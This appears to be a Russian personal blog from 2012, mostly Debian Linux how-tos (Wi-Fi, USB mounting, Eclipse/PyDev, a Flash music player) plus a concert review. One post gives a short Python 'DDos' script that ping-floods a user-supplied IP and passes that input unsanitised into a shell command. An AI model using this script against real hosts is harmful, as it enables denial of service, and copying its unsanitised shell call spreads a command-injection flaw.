     Как посмотреть какое железо присутсвует на узле либо какое уже установленно. Легко и просто:
#apt-get install hardinfo
запуск
#hardinfo
второй вариант диагностики
#apt-get install lshw
запуск
#lshw

Wi-Fi на Debian squeeze

      И так повесил Debian squeeze на ноутбук Acer aspire 5745PG, но проблема с вай файем сразу же дало о себе знать(Broadcom Wi-Fi). И так спросил у гугла, как поставить вай фай и он мне дал ответ. Начнем.
#apt-get install network-manager-gnome
Далее в репозитарий пропишем зеркало
#nano /etc/apt/sources.list
deb http://ftp.us.debian.org/debian squeeze main contrib non-free
#apt-get update
#apt-get install firmware-iwlwifi wireless-tools
Загрузим модуль
# modprobe iwlagn
Проверим интерфейс
# iwconfig
Далее установим программу для конфигурации подключений
# apt-get install wicd
запустим демона
# /etc/init.d/wicd start
запустим оболочку
#wicd-client -n


Article

      И так есть другой вариант установки Wi-Fi
для начала проссмотрим наличие вай фай адаптеров
#lspci
....
03:00.0 Network controller: Broadcom Corporation BCM43225 802.11b/g/n (rev 01)
....
Далее установим
#apt-get install xserver-xorg-video-all
Далее ребутаем иксы
#apt-get install mesa-utils
#apt-get install b43-fwcutter
 Теперь запросим список
#iwconfig

lo        no wireless extensions.
eth0      no wireless extensions.
pan0      no wireless extensions.
wlan0     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=19 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
Поднимем сам интерфейс вай фай
#ifconfig wlan0 up
Также есть альтернативная утилита для поиска вай фай точек
#apt-get install wifi-radar

Полезные ссылки 1  и  2

пятница, 2 марта 2012 г.

Автоматическое монтирование флешек на Debian 6/squeeze

       И так долгое время мучался с монтированием носителей на Debian.  Гугл как всегда помог в решении данной проблемы.
Установим сначала это
#apt-get install usbmount
      А далее, а далее ничего все втыкайте флешку и смотрите свой результат. Ну для самых капризных пользователей и для тех кто любит, чтобы все было по их капризу, заходим в конфиг и правим как нравиться путь таков:
#nano /etc/usbmount/usbmount.conf
      Но к сожалению кроме чтения мы ничего не сможем сделать(а нам же еще ее надо уметь размонтировать).
И так есть вариант дать права root пользователю для этого надо установить sudo
#apt-get install sudo
После надо добавить пользователя в sudoers
#nano /etc/sudoers
и под рутом добавить строчку:
{user} ALL=(ALL) ALL


          Второй способ
      Переходим в каталог где установлен наш usbmount
#cd /etc
#ls -l
      Выдаст результат
drwxr-xr-x  4 root root  4096 Mar  2 11:03 usbmount   # как видно обладатель root и группа тоже root
      Меняем правообладателя и саму группу(все далется под root'ом)
#chown -R user:user usbmount/
#ls -l
drwxr-xr-x  4 user user  4096 Mar  2 11:03 usbmount


    Теперь можно размонтировать кликнув по ярлыку правой кнопкой мышки
Но записать мы ничего на носитель не можем.
Для этого откроем сам конфиг и внесем изменения


#nano /etc/usbmount/usbmount.conf
# Mount options: Options passed to the mount command with the -o flag.
# See the warning above regarding removing "sync" from the options.
MOUNTOPTIONS="-o defaults"   


# For example, "-fstype=vfat,gid=floppy,dmask=0007,fmask=0117" would add
# the options "gid=floppy,dmask=0007,fmask=0117" when a vfat filesystem
# is mounted.
FS_MOUNTOPTIONS="-o defaults"


В данном случае -o defaults это опция монтирования по умолчанию, т.е монтируются все свойства запись, чтения и  т.д


     Также есть ТРЕТИЙ вариант который предложил ниже James Cox    изменим теже функции так:


MOUNTOPTIONS="relatime,noexec,rw"
FS_MOUNTOPTIONS="defaults"


Ну и теперь семь бед один резет, ребутаемся господа.
__________________________________________________________________
      P.s. для тех кто ставил с флешки линукс будет проблема такая:

Error mounting: mount exited with exit code 1: helper failed with:
mount: wrong fs type, bad option, bad superblock on /dev/sdb1,
       missing codepage or helper program, or other error
       In some cases useful info is found in syslog - try
       dmesg | tail  or so
     Также при загрузке системы  в начеле выйдет строка

[    2.510700] PM: Error -22 checking image file
[    5.080230] nForce2_smbus 0000:00:01.1: Error probing SMB1.


     Далее зайдем в /etc/fstab/ содержимое таково


# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
# / was on /dev/sda2 during installation
UUID=fbc4cd30-5b4f-4d93-98d5-a8fc85785e27 /               ext4    errors=remount-ro 0       1
# /home was on /dev/sda3 during installation
UUID=8a78b05b-44f2-4ee4-9995-963fea0f94af /home           ext4    defaults        0       2
# swap was on /dev/sda4 during installation
UUID=beb97b11-1e36-4e19-9cc9-fac118115146 none            swap    sw              0       0
/dev/sdb1       /media/cdrom0   udf,iso9660 user,noauto     0       0
/dev/scd0       /media/cdrom1   udf,iso9660 user,noauto     0       0
     Удалите эти две строки к черту и сохраните. Данный глюк возникает непосредственно после установки линукса с флешки.


P.P.S. для создания загрузочной флешки использовал uNetBootIn
Спасибо за это решение Анониму))) и человеку который отписал решение данной проблемы тут

четверг, 1 марта 2012 г.

DDos script on Python

        И так начал изучать питон и как всегда первый скрипт на целен на деструктивный метод. Ниже приведен скрипт на захламления канала до определенного узла, подопытным кроликом был локальный узел. Выкладываю скрипт:

#!/usr/bin/env python
import commands
ip_get = raw_input("enter Ip address> ")
c = commands.getoutput("/bin/ping -A -f -l1 -s 65500 %s" %ip_get)
print c 
      либо еще короче, но первый вариант правильнее, а второй короче

#!/usr/bin/env python
import commands
ip_get = raw_input("enter Ip address> ")
commands.getoutput("/bin/ping -A -f -l1 -s 65500 %s" %ip_get)

Первый скрипт удался, правда чтобы его сократить до таких маленьких строк исписал наверное строк 60 пока подобрал то, что правильнее и лучше

среда, 29 февраля 2012 г.

Звери в Ташкенте


   Думаю данном блоге мой поход на рок концерт будет уместным,  ведь не каждый день такое происходит в нашем городе Ташкенте.  
     И так был на концерте!
     Момент ожидания выхода виновника торжества томило,  ведь ждать это самое трудно. Но спустя 30 минут все завелось со страшной силой.  Был очень рад увидеть группу Звери не по зомбуящику,  а в живую(позитив до сих пор зашкаливает)!!! Выскажу свою точку зрения  по поводу вчерашнего концерта. При прохождении концерта единственный минус был закрытый зал, где охрана  все время подходила и просила занять свое место, вся эта ситуация очень была  неприятна, КАК вести себя на концерте, где присутствует такое количество  энергии и драйва!!! Я сидел и тупо наблюдал за этой ситуацией(Я понимаю это  все сделано в целях безопасности и чтобы не было какого либо неприятного  инцедента), но речь не об этом... так вот сидел и наблюдал и думал про себя,  почему Рома никак на это не реагирует, ведь артист черпает энергетику от зала,  а МЫ его встречали на УРА, я тоже в том числе кто сорвал голос к черту... думал он так и промолчит отпоет и все, но после того как он допел и попросил  охрану не сдерживать людей, "Я думаю если люди будут танцевать "танцульки)"  в этом нет ничего плохого"- приблизительно его слова, то я тут сразу понял,  что все таки он МУЖИК!!! данный поступок был очень приятен мне как  слушателю его творчества!!!
      Жаль, что концерт был не на летней площадке там и место есть где можно  побеситься от всей души...но и на этом спасибо организаторам... деньги потрачены не в пустую. Получил заряд на долгий срок было все на высоте.
      Рок это не только творчество или направление музыки, Рок это состояние души!
      Спасибо Роме да и всей группе ЗВЕРИ за концерт!

среда, 15 февраля 2012 г.

Установка Python module на Eclipse на Debian squeeze

И так начал изучать потихоньку python. Но сидя на линуксе возникла проблема в какой же оболочке именно могу работать. Интерактивный режим и блокнот ясен кран, но хочется все же GUI'шную оболочку. Приступим:
Есть два варианта установить Eclipse
через стандарт
#apt-get install eclipse
и через офф сайт.
Далее по умолчанию в нем нет модуля python поэтому его необходимо прикрутить вручную, а имеено запустим скаченный либо установленный eclipse(applications->programming).
Либо же скаченный архив с расширением tar.gz распакуем.
Пройдем в путь скаченного каталога cd ... бла бла бла и распакуем
#tar zxvpf (ваш пакет)
здесь стандарт ./configure* make *make install не сработало пришлось зайти в распакованный каталог и запустить двойным кликом по ярлыку Eclipse.
И так теперь самое интересное открываем вкладку help->install new software
Где прописываем сайт для скачки модуля питон http://pydev.org/updates либо http://pydev.sourceforge.net/updates если после прописываения не появится искомый модуль, то правее есть пункт Available Software Sites, где пропишем указанный вышей сайт.
Далее он должен найти два модуля выберем первый и жмеш NEXT далее принимаем соглашение и подтверждаем согласие с данным сертификатом.
Далее необходимо импортировать теперь сам Pydev или же проще говоря вытянуть его на ружу.
Открываем Eclipse в меню жмем пунк Window->Preferences и выберем сам установленный модуль
Далее жмем Next и указываем путь где расположен питон, а именно у меня /usr/bin/python3 также если путь указан верно система выдаст пути, где будет обращаться сам Python я выбрал все!
Ну и в принципе ВСЁ!!!
Аналогичная ссылка существует и на сам виндовс

понедельник, 16 января 2012 г.

Локальное радио по сети на раз-два

       И так недавно был найден очень простой способ поднять "сервер" с вещанием mp3. 
И так у меня узел на debian linux squeeze(на котором проходит испытание очередного бреда).
Во первых найдем путь /var/www/ создадим в нем html файл index.html
Далее скачиваем сам проигрыватель dewplayer тут
Далее после того как файл был скачан распакуем его и в сам файл index.html вставляем тэг проигрывателя на выбор.

Ицем именно тот тип плеера который вас наибольше завлекает к употреблению и копируете его код. Например мне понравился плеер под названием: Vol, я нахожу его в исходном коде файла index-xhtml.htm
   <object type="application/x-shockwave-flash" data="dewplayer-vol.swf?mp3=[АДРЕС ВАШЕГО ТРЕКА]" width="240" height="20" id="dewplayer-vol"><param name="wmode" value="transparent" /><param name="movie" value="dewplayer-vol.swf?mp3=[АДРЕС ВАШЕГО ТРЕКА]" /></object>
[АДРЕС ВАШЕГО ТРЕКА] — вставляете адрес (пример: http://padh.ru/music/black/tom0rrow.mp3), думаю это понятно.
Если вы хотите вставить несколько треков для проигрования, то вводите адреса через знак | :
swf?mp3=[АДРЕС ВАШЕГО ТРЕКА 1]|[АДРЕС ВАШЕГО ТРЕКА 2]|[АДРЕС ВАШЕГО ТРЕКА 3]
Как вы наверное заметили, в коде также находится адрес именно компонента (dewplayer-vol.swf) написанного на flash. если вы хотите вставить себе на сайт плеер, то dewplayer-vol.swf также должен присутствовать в корне сайта. Если же не в корне, а в любой другой папке, то адрес в коде придется поменять:
<object type="application/x-shockwave-flash" data="[ПАПКА]/dewplayer-vol.swf?mp3=[АДРЕС ВАШЕГО ТРЕКА]" width="240" height="20" id="dewplayer-vol">
Также обратите внимание на сам файл dewplayer-vol.swf, если меня интересует плеер под названием Vol, то в корень сайта бросаем dewplayer-vol.swf, если любой другой, к примеру Multi, то бросаем flash-файл dewplayer-multi.swf. Э думаю это все очень логично и понятно всем.



Давайте сразу рассмотрим те виды плееров которые имеют плейлисты. ЭтоVinyl+Playlist и просто Playlist. Так как они особо не отличаются в плане плайлиста, а только такими маленькими моментами как оформление и обложки к альбомам, то будем как пример рассматривать вариант плеераVinyl+Playlist.
Установка на сайт
Для того чтобы вставить плеер на сайт, нам нужно скопировать вот такой код, он является как бы представителем (обьектом) нашего flash приложения.
<object data="dewplayer-vinyl.swf" width="303" height="113" name="dewplayer" id="dewplayer" type="application/x-shockwave-flash">
<param name="movie" value="dewplayer-vinyl.swf" />
<param name="flashvars" value="xml=playlist.xml&javascript=off" />
<param name="wmode" value="transparent" />
</object>
Теперь более подробно:
В первых двух строках где указан dewplayer-vinyl.swf как значение и как адрес, мы должны поменять на свой (адрес). К примеру мой файл .swf (флеш-плеер) находится не в корне сайта, а в папке music/dewplayer-vinyl.swf, тогда и адреса в коде должны выглядеть так:
<object data="music/dewplayer-vinyl.swf" width="303" height="113" name="dewplayer" id="dewplayer" type="application/x-shockwave-flash">
<param name="movie" value="music/dewplayer-vinyl.swf" />
</object>
Думаю это понятно. Следующая строка указывает на плейлист (файл в формате .xml), в котором собственно и хранятся все данные.
Вот она:
<param name="flashvars" value="xml=playlist.xml&javascript=off" />
Здесь с адресом все тоже самое (music/playlist.xml).
Больше здесь рассказывать нечего переходим к плейлисту (открывем файл playlist.xml).
Настраиваем плейлист
Смотрите как он выглядит на самом деле, и как он должен выглядеть у вас (много лишнего по умолчанию).
До
<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
    <title>Ounage Playlist</title>
    <creator>Dew</creator>
    <link>http://www.blup.fr/</link>
    <info>The Best Playlist</info>
    <image>covers/0.jpg</image>
    <trackList>
        <track>
          <location>mp3/test1.mp3</location>
          <creator>Bedrich Smetana</creator>
          <album>Má Vlast</album>
          <title>La Moldau (Vltava)</title>
          <annotation>I love this song</annotation>
          <duration>32000</duration>
          <image>covers/1.jpg</image>
          <info></info>
          <link>http://fr.wikipedia.org/wiki/M%C3%A1_Vlast_(Smetana)</link>
        </track>
        <track>
          <location>mp3/test2.mp3</location>
          <creator>Antonin Dvorak</creator>
          <album>La Symphonie du Nouveau Monde</album>
          <title>La Symphonie du Nouveau Monde</title>
          <annotation></annotation>
          <duration></duration>
          <image>covers/2.jpg</image>
          <info></info>
          <link>http://fr.wikipedia.org/wiki/Cesaria_Evora</link>
        </track>
        <track>
          <location>mp3/test3.mp3</location>
          <creator>Jean-Claude Petit</creator>
          <album>Le Hussard sur le Toit</album>
          <title>Le Hussard sur le Toit</title>
          <annotation></annotation>
          <duration></duration>
          <image>covers/3.jpg</image>
          <info></info>
          <link>http://fr.wikipedia.org/wiki/Le_Hussard_sur_le_toit_%28film%29</link>
        </track>
    </trackList>
</playlist>
После
<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
    <title>Ounage Playlist</title>
    <info>The Best Playlist</info>
    <image>covers/0.jpg</image>
    <trackList>
        <track>
          <location>mp3/test1.mp3</location>
          <title>La Moldau (Vltava)</title>
          <image>covers/1.jpg</image>
        </track>
        <track>
          <location>mp3/test2.mp3</location>
          <title>La Symphonie du Nouveau Monde</title>
          <image>covers/2.jpg</image>
        </track>
        <track>
          <location>mp3/test3.mp3</location>
          <title>Le Hussard sur le Toit</title>
          <image>covers/3.jpg</image>
        </track>

    </trackList>
</playlist>
Первые три параметра в начале полностью соответствуют начальному виду плеера:
Установка flash(mp3)-плеера на сайт, часть 2 (плейлист)
    <title>Ounage Playlist</title>
    <info>The Best Playlist</info>
    <image>covers/0.jpg</image>
А вот остальные параметры:
 <track>
          <location>mp3/test3.mp3</location>
          <title>Le Hussard sur le Toit</title>
          <image>covers/3.jpg</image>
        </track>
location — адрес к аудиозаписи;
title —
имя;
image —
обложка;
Замечу, что в типе плеера Playlist — image (обложка) можно удалить, как первых строках, так и в описании каждого трека.
Все что от вас дальше требуется, так это ваша личная настройка плейлиста. Создадите на компьютере файл playlist.xml первоначально, потом заполните его и киньте в корень сайта (или отдельную папку выделенную под этот плеер).
Что-то уж очень на долго затянулась наша беседа, чувствую что будет еще третяя чаcть по настройке самого флеш скрипта (.swf);
Результат:
 Установка flash(mp3)-плеера на сайт, часть 2 (плейлист)